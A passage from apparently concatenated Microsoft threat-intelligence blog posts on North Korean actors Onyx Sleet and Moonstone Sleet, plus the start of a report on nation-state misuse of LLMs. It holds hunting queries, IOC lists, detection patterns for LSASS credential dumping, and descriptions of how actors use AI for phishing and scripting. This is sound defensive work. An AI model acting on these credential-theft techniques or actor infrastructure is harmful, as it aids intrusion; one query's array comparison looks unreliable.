| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId  
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware 

Use this query to detect associated network IOCs:

let remoteip = dynamic(["84.38.134.56","45.155.37.101","213.139.205.151","109.248.150.147","162.19.71.175","147.78.149.201"]);
let remoteurl = dynamic(["americajobmail.site","privatemake.bounceme.net","ww3c.bounceme.net","advice.uphearth.com","http://84.38.134.56/procdump.gif"]);
DeviceNetworkEvents  
| where RemoteIP == remoteip or RemoteUrl == remoteurl 
| project TimeGenerated, DeviceId, DeviceName, Protocol, LocalIP, LocalIPType, LocalPort,RemoteIP, RemoteIPType, RemotePort, RemoteUrl

Use this query to detect associated file IOCs:

let selectedTimestamp = datetime(2024-07-17T00:00:00.0000000Z);  
let fileName = "SmallTiger.dll";  
let FileSHA256 = dynamic(["f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c","0837dd54268c373069fc5c1628c6e3d75eb99c3b3efc94c45b73e2cf9a6f3207 ","29c6044d65af0073424ccc01abcb8411cbdc52720cac957a3012773c4380bab3","fed94f461145681dc9347b382497a72542424c64b6ae6fcf945f4becd2d46c32","868a62feff8b46466e9d63b83135a7987bf6d332c13739aa11b747b3e2ad4bbf","f1662bee722a4e25614ed30933b0ced17b752d99fae868fbb326a46afa2282d5","1b88b939e5ec186b2d19aec8f17792d493d74dd6ab3d5a6ddc42bfe78b01aff1","3098e6e7ae23b3b8637677da7bfc0ba720e557e6df71fa54a8ef1579b6746061","8daa6b20caf4bf384cc7912a73f243ce6e2f07a5cb3b3e95303db931c3fe339f","7339cfa5a67f5a4261c18839ef971d7f96eaf60a46190cab590b439c71c4742b"]);  
let SignerName = "INVALID:Tableau Software Inc.";  
let Signerhash = "6624c7b8faac176d1c1cb10b03e7ee58a4853f91";  
let certificateserialnumber = "76cb5d1e6c2b6895428115705d9ac765";  
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents,  
DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator)  
TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from July 17th runs the search backwards for 90 days, change the above date accordingly.  
and   
( FileName == fileName or OldFileName == fileName or ProfileName == fileName or InitiatingProcessFileName == fileName or InitiatingProcessParentFileName == fileName  
or InitiatingProcessVersionInfoInternalFileName == fileName or InitiatingProcessVersionInfoOriginalFileName == fileName or PreviousFileName == fileName  
or ProcessVersionInfoInternalFileName == fileName or ProcessVersionInfoOriginalFileName == fileName or DestinationFileName == fileName or SourceFileName == fileName  
or ServiceFileName == fileName or SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256) or Signer == SignerName or SignerHash == Signerhash or CertificateSerialNumber == certificateserialnumber )

Indicators of compromise

IP addresses

• 84.38.134[.]56
• 45.155.37[.]101
• 213.139.205[.]151
• 109.248.150[.]147
• 162.19.71[.]175
• 147.78.149[.]201

URL

• hxxp://84.38.134[.]56/procdump.gif

Actor-controlled domain

• americajobmail[.]site
• privatemake.bounceme[.]net
• ww3c.bounceme[.]net
• advice.uphearth[.]com

SHA-256

• TigerRAT
  • f32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c
  • 0837dd54268c373069fc5c1628c6e3d75eb99c3b3efc94c45b73e2cf9a6f3207
  • 29c6044d65af0073424ccc01abcb8411cbdc52720cac957a3012773c4380bab3
  • fed94f461145681dc9347b382497a72542424c64b6ae6fcf945f4becd2d46c32
  • 868a62feff8b46466e9d63b83135a7987bf6d332c13739aa11b747b3e2ad4bbf
• LightHand
  • f1662bee722a4e25614ed30933b0ced17b752d99fae868fbb326a46afa2282d5
  • 1b88b939e5ec186b2d19aec8f17792d493d74dd6ab3d5a6ddc42bfe78b01aff1
  • 3098e6e7ae23b3b8637677da7bfc0ba720e557e6df71fa54a8ef1579b6746061
  • 8daa6b20caf4bf384cc7912a73f243ce6e2f07a5cb3b3e95303db931c3fe339f
  • 7339cfa5a67f5a4261c18839ef971d7f96eaf60a46190cab590b439c71c4742b
• ValidAlpha
  • c2500a6e12f22b16e221ba01952b69c92278cd05632283d8b84c55c916efe27c
  • c1a09024504a5ec422cbea68e17dffc46472d3c2d73f83aa0741a89528a45cd1

Fake Tableau certificate

• Signer: INVALID:Tableau Software Inc.
• SignerHash: 6624c7b8faac176d1c1cb10b03e7ee58a4853f91
• CertificateSerialNumber: 76cb5d1e6c2b6895428115705d9ac765

References

• https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
• https://asec.ahnlab.com/en/66088/
• https://www.helpnetsecurity.com/2013/07/08/dissecting-operation-troy-cyberespionage-in-south-korea/
• https://unit42.paloaltonetworks.com/inside-tdrop2-technical-analysis-of-new-dark-seoul-malware/
• https://securelist.com/my-name-is-dtrack/93338/
• https://www.virustotal.com/gui/file/96118268f9ab475860c3ae3edf00d9ee944d6440fd60a1673f770d150bfb16d3/details
• https://www.reuters.com/technology/cybersecurity/north-korea-hackers-may-have-stolen-data-laser-weapon-police-2023-12-06/
• https://asec.ahnlab.com/en/56405/
• https://blog.talosintelligence.com/lazarus-magicrat/
• https://asec.ahnlab.com/ko/65918/
• https://www.boho.or.kr/en/bbs/view.do?searchCnd=&bbsId=B0001041&searchWrd=&menuNo=205083&pageIndex=1&categoryCode=&nttId=36276

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Onyx Sleet uses array of malware to gather intelligence for North Korea appeared first on Microsoft Security Blog.

Moonstone Sleet uses tactics, techniques, and procedures (TTPs) also used by other North Korean threat actors over the last several years, highlighting the overlap among these groups. While Moonstone Sleet initially had overlaps with Diamond Sleet, the threat actor has since shifted to its own infrastructure and attacks, establishing itself as a distinct, well-resourced North Korean threat actor.

This blog describes several notable TTPs used by this threat actor as well as recommendations to defend against related attacks. As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the necessary information to secure their environments.

Who is Moonstone Sleet?

Moonstone Sleet is a threat actor behind a cluster of malicious activity that Microsoft assesses is North Korean state-aligned and uses both a combination of many tried-and-true techniques used by other North Korean threat actors and unique attack methodologies. When Microsoft first detected Moonstone Sleet activity, the actor demonstrated strong overlaps with Diamond Sleet, extensively reusing code from known Diamond Sleet malware like Comebacker and using well-established Diamond Sleet techniques to gain access to organizations, such as using social media to deliver trojanized software. However, Moonstone Sleet quickly shifted to its own bespoke infrastructure and attacks. Subsequently, Microsoft has observed Moonstone Sleet and Diamond Sleet conducting concurrent operations, with Diamond Sleet still utilizing much of its known, established tradecraft.

Moonstone Sleet has an expansive set of operations supporting its financial and cyberespionage objectives. These range from deploying custom ransomware to creating a malicious game, setting up fake companies, and using IT workers.

Moonstone Sleet tradecraft

Microsoft has observed Moonstone Sleet using the TTPs discussed in the following sections in various campaigns.

Trojanized PuTTY

In early August 2023, Microsoft observed Moonstone Sleet delivering a trojanized version of PuTTY, an open-source terminal emulator, via apps like LinkedIn and Telegram as well as developer freelancing platforms. Often, the actor sent targets a .zip archive containing two files: a trojanized version of putty.exe and url.txt, which contained an IP address and a password. If the provided IP and password were entered by the user into the PuTTY application, the application would decrypt an embedded payload, then load and execute it. Notably, before Moonstone Sleet used this initial access vector, Microsoft observed Diamond Sleet using a similar method – trojanized PuTTY and SumatraPDF — with comparable techniques for anti-analysis, as we reported in 2022:

The trojanized PuTTY executable drops a custom installer which kicks off execution of a series of stages of malware, as described below:

1. Stage 1 – Trojanized PuTTY: Decrypts, decompresses, and then executes the embedded stage 2 payload.
2. Stage 2 – SplitLoader installer/dropper: Decrypts, decompresses, and writes the Stage 3 payload, the SplitLoader DLL file, to disk. The installer also drops two encrypted files to disk, then executes SplitLoader via a scheduled task or registry run key.
3. Stage 3 – SplitLoader:Decrypts and decompresses the two encrypted files dropped by the stage 2 payload, then combines them to create the next-stage, another portable executable (PE) file.
4. Stage 4 – Trojan loader: Expects a compressed and encrypted PE file from the C2. Once received, the trojan loader decompresses, decrypts, and executes this file.

Microsoft has also observed Moonstone Sleet using other custom malware loaders delivered by PuTTY that behaved similarly and had argument overlap with previously observed Diamond Sleet malware artifacts, such as the following:

Malicious npm packages

Microsoft has observed Moonstone Sleet targeting potential victims with projects that used malicious npm packages. Often, the threat actor delivered these projects through freelancing websites or other platforms like LinkedIn. In one example, the threat actor used a fake company to send .zip files invoking a malicious npm package under the guise of a technical skills assessment. When loaded, the malicious package used curl to connect to an actor-controlled IP and drop additional malicious payloads like SplitLoader. In another incident, Moonstone Sleet delivered a malicious npm loader which led to credential theft from LSASS. Microsoft collaborated with GitHub to identify and remove repositories associated with this activity.

Malicious tank game

Since February 2024, Microsoft has observed Moonstone Sleet infecting devices using a malicious tank game it developed called DeTankWar (also called DeFiTankWar, DeTankZone, or TankWarsZone). DeTankWar is a fully functional downloadable game that requires player registration, including username/password and invite code. In this campaign, Moonstone Sleet typically approaches its targets through messaging platforms or by email, presenting itself as a game developer seeking investment or developer support and either masquerading as a legitimate blockchain company or using fake companies. To bolster the game’s superficial legitimacy, Moonstone Sleet has also created a robust public campaign that includes the websites detankwar[.]com and defitankzone[.]com, and many X (Twitter) accounts for the personas it uses to approach targets and for the game itself.

Moonstone Sleet used a fake company called C.C. Waterfall to contact targets. The email presented the game as a blockchain-related project and offered the target the opportunity to collaborate, with a link to download the game included in the body of the message. More details about C.C. Waterfall and another fake company that Moonstone Sleet set up to trick targets are included below:

When targeted users launch the game, delfi-tank-unity.exe, additional included malicious DLLs are also loaded. The payload is a custom malware loader that Microsoft tracks as YouieLoad. Similarly to SplitLoader, YouieLoad loads malicious payloads in memory and creates malicious services that perform functions such as network and user discovery and browser data collection. For compromised devices of particular interest to the group, the threat actor launches hands-on-keyboard commands with further discovery and conducts credential theft.

Ransomware

In April 2024, Microsoft observed Moonstone Sleet delivering a new custom ransomware variant we have named FakePenny against a company it previously compromised in February. FakePenny includes a loader and an encryptor. Although North Korean threat actor groups have previously developed custom ransomware, this is the first time we have observed this threat actor deploying ransomware.

Microsoft assesses that Moonstone Sleet’s objective in deploying the ransomware is financial gain, suggesting the actor conducts cyber operations for both intelligence collection and revenue generation. Of note, the ransomware note dropped by FakePenny closely overlaps with the note used by Seashell Blizzard in its malware NotPetya. The ransom demand was $6.6M USD in BTC. This is in stark contrast to the lower ransom demands of previous North Korea ransomware attacks, like WannaCry 2.0 and H0lyGh0st.

Fake companies

Since January 2024, Microsoft has observed Moonstone Sleet creating several fake companies impersonating software development and IT services, typically relating to blockchain and AI. The actor has used these companies to reach out to potential targets, using a combination of created websites and social media accounts to add legitimacy to their campaigns.

StarGlow Ventures

From January to April 2024, Moonstone Sleet’s fake company StarGlow Ventures posed as a legitimate software development company. The group used a custom domain, fake employee personas, and social media accounts, in an email campaign targeting thousands of organizations in the education and software development sectors. In the emails Moonstone Sleet sent as part of this campaign, the actor complimented the work of the targeted organization and offered collaboration and support for upcoming projects, citing expertise in the development of web apps, mobile apps, blockchain, and AI.

These emails also contained a 1×1 tracking pixel, which likely enabled Moonstone Sleet to track which targets engaged with the emails, and a link to a dummy unsubscribe page hosted on the StarGlow Ventures domain. While the emails did not contain any malicious links, Microsoft assesses Moonstone Sleet likely used this campaign to establish a relationship with target organizations. Although the purpose of these relationships is unclear, they may afford the actor access to organizations of interest or be used as revenue generation opportunities. Microsoft notified customers who were impacted by this Moonstone Sleet campaign.

C.C. Waterfall

In a similar campaign, Moonstone Sleet sent emails using its fake company C.C. Waterfall, a purported IT consulting organization.

In this campaign, Moonstone Sleet emailed higher education organizations, claiming the company was either hiring new developers or looking for business collaboration opportunities. This campaign likely had similar goals to the StarGlow Ventures campaign: to build relationships with organizations which could be leveraged for revenue generation or malicious access.  

As previously mentioned, Moonstone Sleet also used C.C. Waterfall to contact targets and invite them to download the actor’s tank game, highlighting that this is a coordinated and concerted effort for which Moonstone Sleet can leverage multiple facets of its operations in overlapping campaigns.

Work-for-hire

In addition to creating fake companies, Microsoft has observed Moonstone Sleet pursuing employment in software development positions at multiple legitimate companies. This activity could be consistent with previous reporting from the United States Department of Justice that North Korea was using highly skilled remote IT workers to generate revenue. On the other hand, this Moonstone Sleet activity may also be another approach to gaining access to organizations.

Moonstone Sleet targets

Moonstone Sleet’s primary goals appear to be espionage and revenue generation. Targeted sectors to date include both individuals and organizations in the software and information technology, education, and defense industrial base sectors.

Software companies and developers

Since early January 2024, Moonstone Sleet has used the above fake software development companies to solicit work or cooperation. This actor has also targeted individuals looking for work in software development, sending candidates a “skills test” that instead delivers malware via a malicious NPM package.

Aerospace

In early December 2023, we observed Moonstone Sleet compromising a defense technology company to steal credentials and intellectual property. In April 2024, the actor ransomed the organization using FakePenny. The same month, we observed Moonstone Sleet compromise a company that makes drone technology. In May 2024, the threat actor compromised a company that makes aircraft parts.

Fitting into the North Korean threat actor landscape

Moonstone Sleet’s diverse set of tactics is notable not only because of their effectiveness, but because of how they have evolved from those of several other North Korean threat actors over many years of activity to meet North Korean cyber objectives. For example, North Korea has for many years maintained a cadre of remote IT workers to generate revenue in support of the country’s objectives. Moonstone Sleet’s pivot to conduct IT work within its campaigns indicates it may not only be helping with this strategic initiative, but possibly also expanding the use of remote IT workers beyond just financial gain. Additionally, Moonstone Sleet’s addition of ransomware to its playbook, like another North Korean threat actor, Onyx Sleet, may suggest it is expanding its set of capabilities to enable disruptive operations. Microsoft reported on Onyx Sleet’s and Storm-0530’s h0lyGhost ransomware in 2022.

Moonstone Sleet’s ability to conduct concurrent operations across multiple campaigns, the robustness of the malicious game, and the use of a custom new ransomware variant are strong indications that this threat actor may be well-resourced. Moreover, given that Moonstone Sleet’s initial attacks mirrored Diamond Sleet methodologies and heavily reused Diamond Sleet’s code in their payloads, Microsoft assesses this actor is equipped with capabilities from prior cyber operations conducted by other North Korean actors.

Microsoft has identified several techniques used by Moonstone Sleet that have previously been used by other North Korean threat actors. For example, since late 2023, an actor that Microsoft tracks as Storm-1877 used malicious npm packages in a campaign targeting software developers with JavaScript-based malware. This campaign was reported publicly by PaloAlto as Contagious Interview. Additionally, in 2023, GitHub reported that Jade Sleet used malicious npm packages in a campaign consisting of fake developer and recruiter personas that operated on LinkedIn, Slack, and Telegram. This shared use of a relatively uncommon tactic across multiple distinct North Korean groups may suggest sharing of expertise and TTPs among North Korean threat actors.

In recent months, Microsoft and other security researchers have reported on North Korean threat actors’ use of software supply chain attacks to conduct widespread malicious operations. In November 2023, Microsoft reported on Diamond Sleet’s supply chain compromise of CyberLink, a multimedia application. While Microsoft has not yet identified any Moonstone Sleet supply chain attacks, the actor has extensively targeted software development firms in its campaigns. Large-scale access to software companies would pose a particularly high risk for future supply chain attacks against those organizations.

Moonstone Sleet’s appearance is an interesting development considering that North Korea has carried out a series of changes in its foreign relations and security apparatus. In November 2023, North Korea closed embassies in several countries, and in March 2024, may have dissolved the United Front Department (UFD), an agency believed to be responsible for reunification and propaganda.

Despite being new, Moonstone Sleet has demonstrated that it will continue to mature, develop, and evolve, and has positioned itself to be a preeminent threat actor conducting sophisticated attacks on behalf of the North Korean regime.

Recommendations

Microsoft recommends the following mitigations defend against attacks by Moonstone Sleet:

• Detect human-operated ransomware attacks with Microsoft Defender XDR. 
• Enable controlled folder access. 
• Ensure that tamper protection is enabled in Microsoft Defender for Endpoint. 
• Enable network protection in Microsoft Defender for Endpoint. 
• Follow the credential hardening recommendations in our on-premises credential theft overview to defend against common credential theft techniques like LSASS access.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.    
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.

Microsoft Defender XDR customers can turn on the following attack surface reduction rule to prevent common attack techniques used by Moonstone Sleet.

• Block executable content from email client and webmail 
• Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
• Use advanced protection against ransomware 
• Block credential stealing from the Windows local security authority subsystem (lsass.exe)

Detection details

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Behavior:Win64/PennyCrypt
• HackTool:Win32/Mimikatz
• HackTool:Win64/Mimikatz
• TrojanDropper:Win32/SplitLoader
• TrojanDropper:Win64/YouieLoad

Microsoft Defender for Endpoint

Alerts with the following titles in the security center can indicate threat activity on your network: 

• Moonstone Sleet actor activity detected
• Suspicious activity linked to a North Korean state-sponsored threat actor has been detected
• Diamond Sleet Actor activity detected

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity: 

• Malicious credential theft tool execution detected  
• Mimikatz credential theft tool 
• Ransomware-linked threat actor detected
• Suspicious access to LSASS service

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Detect Procdump dumping LSASS credentials:

DeviceProcessEvents
| where (FileName has_any ("procdump.exe",
"procdump64.exe") and ProcessCommandLine has "lsass") or  
(ProcessCommandLine
has "lsass.exe" and (ProcessCommandLine has "-accepteula"
or ProcessCommandLine contains "-ma"))

Detect connectivity with C2 infrastructure:

let c2servers = dynamic(['mingeloem.com','matrixane.com']);
DeviceNetworkEvents
| where RemoteUrl has_any (c2servers)
| project DeviceId, LocalIP, DeviceName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, Timestamp

Detect connectivity to DeTank websites:

let c2servers = dynamic(['detankwar.com','defitankzone.com']);
DeviceNetworkEvents
| where RemoteUrl has_any (c2servers)
| project DeviceId, LocalIP, DeviceName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, Timestamp

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Microsoft Sentinel customers can also use the queries below to detect activity detailed in this blog.

This query detects the installation of a Windows service that contains artifacts from credential dumping tools such as Mimikatz:

• Credential Dumping Tools – Service Installation

This query detects the use of Procdump to dump credentials from LSASS memory:

• Dump credential using procdump

Microsoft Sentinel customers can also use the following query, which looks for Microsoft Defender AV detections related to the Moonstone Sleet. In Microsoft Sentinel, the SecurityAlerts table includes only the DeviceName of the affected device. This query joins the DeviceInfo table to connect other information such as device group, IP, signed-in users, etc., allowing analysts to have more context related to the alert, if available:

let MoonStoneSleet_threats = dynamic(["Behavior:Win64/PennyCrypt", "HackTool:Win32/Mimikatz", "HackTool:Win64/Mimikatz ", "TrojanDropper:Win32/SplitLoader", "TrojanDropper:Win64/YouieLoad" ]);
SecurityAlert
| where ProviderName == "MDATP"
| extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
| extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
| where ThreatName in~ (MoonStoneSleet_threats) or ThreatFamilyName in~ (MoonStoneSleet_threats)
| extend CompromisedEntity = tolower(CompromisedEntity)
| join kind=inner (
    DeviceInfo
    | extend DeviceName = tolower(DeviceName)
) on $left.CompromisedEntity == $right.DeviceName
| summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
| extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
| extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
| project-away DomainIndex
| project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious files

Moonstone Sleet domains

References

• Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors (Palo Alto Unit 42)
• Security alert: social engineering campaign targets technology industry employees (Github)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks appeared first on Microsoft Security Blog.

Over the last year, the speed, scale, and sophistication of attacks has increased alongside the rapid development and adoption of AI. Defenders are only beginning to recognize and apply the power of generative AI to shift the cybersecurity balance in their favor and keep ahead of adversaries. At the same time, it is also important for us to understand how AI can be potentially misused in the hands of threat actors. In collaboration with OpenAI, today we are publishing research on emerging threats in the age of AI, focusing on identified activity associated with known threat actors, including prompt-injections, attempted misuse of large language models (LLM), and fraud. Our analysis of the current use of LLM technology by threat actors revealed behaviors consistent with attackers using AI as another productivity tool on the offensive landscape. You can read OpenAI’s blog on the research here. Microsoft and OpenAI have not yet observed particularly novel or unique AI-enabled attack or abuse techniques resulting from threat actors’ usage of AI. However, Microsoft and our partners continue to study this landscape closely.

The objective of Microsoft’s partnership with OpenAI, including the release of this research, is to ensure the safe and responsible use of AI technologies like ChatGPT, upholding the highest standards of ethical application to protect the community from potential misuse. As part of this commitment, we have taken measures to disrupt assets and accounts associated with threat actors, improve the protection of OpenAI LLM technology and users from attack or abuse, and shape the guardrails and safety mechanisms around our models. In addition, we are also deeply committed to using generative AI to disrupt threat actors and leverage the power of new tools, including Microsoft Copilot for Security, to elevate defenders everywhere.

A principled approach to detecting and blocking threat actors

The progress of technology creates a demand for strong cybersecurity and safety measures. For example, the White House’s Executive Order on AI requires rigorous safety testing and government supervision for AI systems that have major impacts on national and economic security or public health and safety. Our actions enhancing the safeguards of our AI models and partnering with our ecosystem on the safe creation, implementation, and use of these models align with the Executive Order’s request for comprehensive AI safety and security standards.

In line with Microsoft’s leadership across AI and cybersecurity, today we are announcing principles shaping Microsoft’s policy and actions mitigating the risks associated with the use of our AI tools and APIs by nation-state advanced persistent threats (APTs), advanced persistent manipulators (APMs), and cybercriminal syndicates we track.

These principles include:   

• Identification and action against malicious threat actors’ use: Upon detection of the use of any Microsoft AI application programming interfaces (APIs), services, or systems by an identified malicious threat actor, including nation-state APT or APM, or the cybercrime syndicates we track, Microsoft will take appropriate action to disrupt their activities, such as disabling the accounts used, terminating services, or limiting access to resources.           

• Notification to other AI service providers: When we detect a threat actor’s use of another service provider’s AI, AI APIs, services, and/or systems, Microsoft will promptly notify the service provider and share relevant data. This enables the service provider to independently verify our findings and take action in accordance with their own policies.

• Collaboration with other stakeholders: Microsoft will collaborate with other stakeholders to regularly exchange information about detected threat actors’ use of AI. This collaboration aims to promote collective, consistent, and effective responses to ecosystem-wide risks.

• Transparency: As part of our ongoing efforts to advance responsible use of AI, Microsoft will inform the public and stakeholders about actions taken under these threat actor principles, including the nature and extent of threat actors’ use of AI detected within our systems and the measures taken against them, as appropriate.

Microsoft remains committed to responsible AI innovation, prioritizing the safety and integrity of our technologies with respect for human rights and ethical standards. These principles announced today build on Microsoft’s Responsible AI practices, our voluntary commitments to advance responsible AI innovation and the Azure OpenAI Code of Conduct. We are following these principles as part of our broader commitments to strengthening international law and norms and to advance the goals of the Bletchley Declaration endorsed by 29 countries.

Microsoft and OpenAI’s complementary defenses protect AI platforms

Because Microsoft and OpenAI’s partnership extends to security, the companies can take action when known and emerging threat actors surface. Microsoft Threat Intelligence tracks more than 300 unique threat actors, including 160 nation-state actors, 50 ransomware groups, and many others. These adversaries employ various digital identities and attack infrastructures. Microsoft’s experts and automated systems continually analyze and correlate these attributes, uncovering attackers’ efforts to evade detection or expand their capabilities by leveraging new technologies. Consistent with preventing threat actors’ actions across our technologies and working closely with partners, Microsoft continues to study threat actors’ use of AI and LLMs, partner with OpenAI to monitor attack activity, and apply what we learn to continually improve defenses. This blog provides an overview of observed activities collected from known threat actor infrastructure as identified by Microsoft Threat Intelligence, then shared with OpenAI to identify potential malicious use or abuse of their platform and protect our mutual customers from future threats or harm.

Recognizing the rapid growth of AI and emergent use of LLMs in cyber operations, we continue to work with MITRE to integrate these LLM-themed tactics, techniques, and procedures (TTPs) into the MITRE ATT&CK® framework or MITRE ATLAS™ (Adversarial Threat Landscape for Artificial-Intelligence Systems) knowledgebase. This strategic expansion reflects a commitment to not only track and neutralize threats, but also to pioneer the development of countermeasures in the evolving landscape of AI-powered cyber operations. A full list of the LLM-themed TTPs, which include those we identified during our investigations, is summarized in the appendix.

Summary of Microsoft and OpenAI’s findings and threat intelligence

The threat ecosystem over the last several years has revealed a consistent theme of threat actors following trends in technology in parallel with their defender counterparts. Threat actors, like defenders, are looking at AI, including LLMs, to enhance their productivity and take advantage of accessible platforms that could advance their objectives and attack techniques. Cybercrime groups, nation-state threat actors, and other adversaries are exploring and testing different AI technologies as they emerge, in an attempt to understand potential value to their operations and the security controls they may need to circumvent. On the defender side, hardening these same security controls from attacks and implementing equally sophisticated monitoring that anticipates and blocks malicious activity is vital.

While different threat actors’ motives and complexity vary, they have common tasks to perform in the course of targeting and attacks. These include reconnaissance, such as learning about potential victims’ industries, locations, and relationships; help with coding, including improving things like software scripts and malware development; and assistance with learning and using native languages. Language support is a natural feature of LLMs and is attractive for threat actors with continuous focus on social engineering and other techniques relying on false, deceptive communications tailored to their targets’ jobs, professional networks, and other relationships.

Importantly, our research with OpenAI has not identified significant attacks employing the LLMs we monitor closely. At the same time, we feel this is important research to publish to expose early-stage, incremental moves that we observe well-known threat actors attempting, and share information on how we are blocking and countering them with the defender community.

While attackers will remain interested in AI and probe technologies’ current capabilities and security controls, it’s important to keep these risks in context. As always, hygiene practices such as multifactor authentication (MFA) and Zero Trust defenses are essential because attackers may use AI-based tools to improve their existing cyberattacks that rely on social engineering and finding unsecured devices and accounts.

The threat actors profiled below are a sample of observed activity we believe best represents the TTPs the industry will need to better track using MITRE ATT&CK® framework or MITRE ATLAS™ knowledgebase updates.

Forest Blizzard 

Forest Blizzard (STRONTIUM) is a Russian military intelligence actor linked to GRU Unit 26165, who has targeted victims of both tactical and strategic interest to the Russian government. Their activities span across a variety of sectors including defense, transportation/logistics, government, energy, non-governmental organizations (NGO), and information technology. Forest Blizzard has been extremely active in targeting organizations in and related to Russia’s war in Ukraine throughout the duration of the conflict, and Microsoft assesses that Forest Blizzard operations play a significant supporting role to Russia’s foreign policy and military objectives both in Ukraine and in the broader international community. Forest Blizzard overlaps with the threat actor tracked by other researchers as APT28 and Fancy Bear.

Forest Blizzard’s use of LLMs has involved research into various satellite and radar technologies that may pertain to conventional military operations in Ukraine, as well as generic research aimed at supporting their cyber operations. Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-informed reconnaissance: Interacting with LLMs to understand satellite communication protocols, radar imaging technologies, and specific technical parameters. These queries suggest an attempt to acquire in-depth knowledge of satellite capabilities.
• LLM-enhanced scripting techniques: Seeking assistance in basic scripting tasks, including file manipulation, data selection, regular expressions, and multiprocessing, to potentially automate or optimize technical operations.

Microsoft observed engagement from Forest Blizzard that were representative of an adversary exploring the use cases of a new technology. All accounts and assets associated with Forest Blizzard have been disabled.

Emerald Sleet

Emerald Sleet (THALLIUM) is a North Korean threat actor that has remained highly active throughout 2023. Their recent operations relied on spear-phishing emails to compromise and gather intelligence from prominent individuals with expertise on North Korea. Microsoft observed Emerald Sleet impersonating reputable academic institutions and NGOs to lure victims into replying with expert insights and commentary about foreign policies related to North Korea. Emerald Sleet overlaps with threat actors tracked by other researchers as Kimsuky and Velvet Chollima.

Emerald Sleet’s use of LLMs has been in support of this activity and involved research into think tanks and experts on North Korea, as well as the generation of content likely to be used in spear-phishing campaigns. Emerald Sleet also interacted with LLMs to understand publicly known vulnerabilities, to troubleshoot technical issues, and for assistance with using various web technologies. Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-assisted vulnerability research: Interacting with LLMs to better understand publicly reported vulnerabilities, such as the CVE-2022-30190 Microsoft Support Diagnostic Tool (MSDT) vulnerability (known as “Follina”).
• LLM-enhanced scripting techniques: Using LLMs for basic scripting tasks such as programmatically identifying certain user events on a system and seeking assistance with troubleshooting and understanding various web technologies.
• LLM-supported social engineering: Using LLMs for assistance with the drafting and generation of content that would likely be for use in spear-phishing campaigns against individuals with regional expertise.
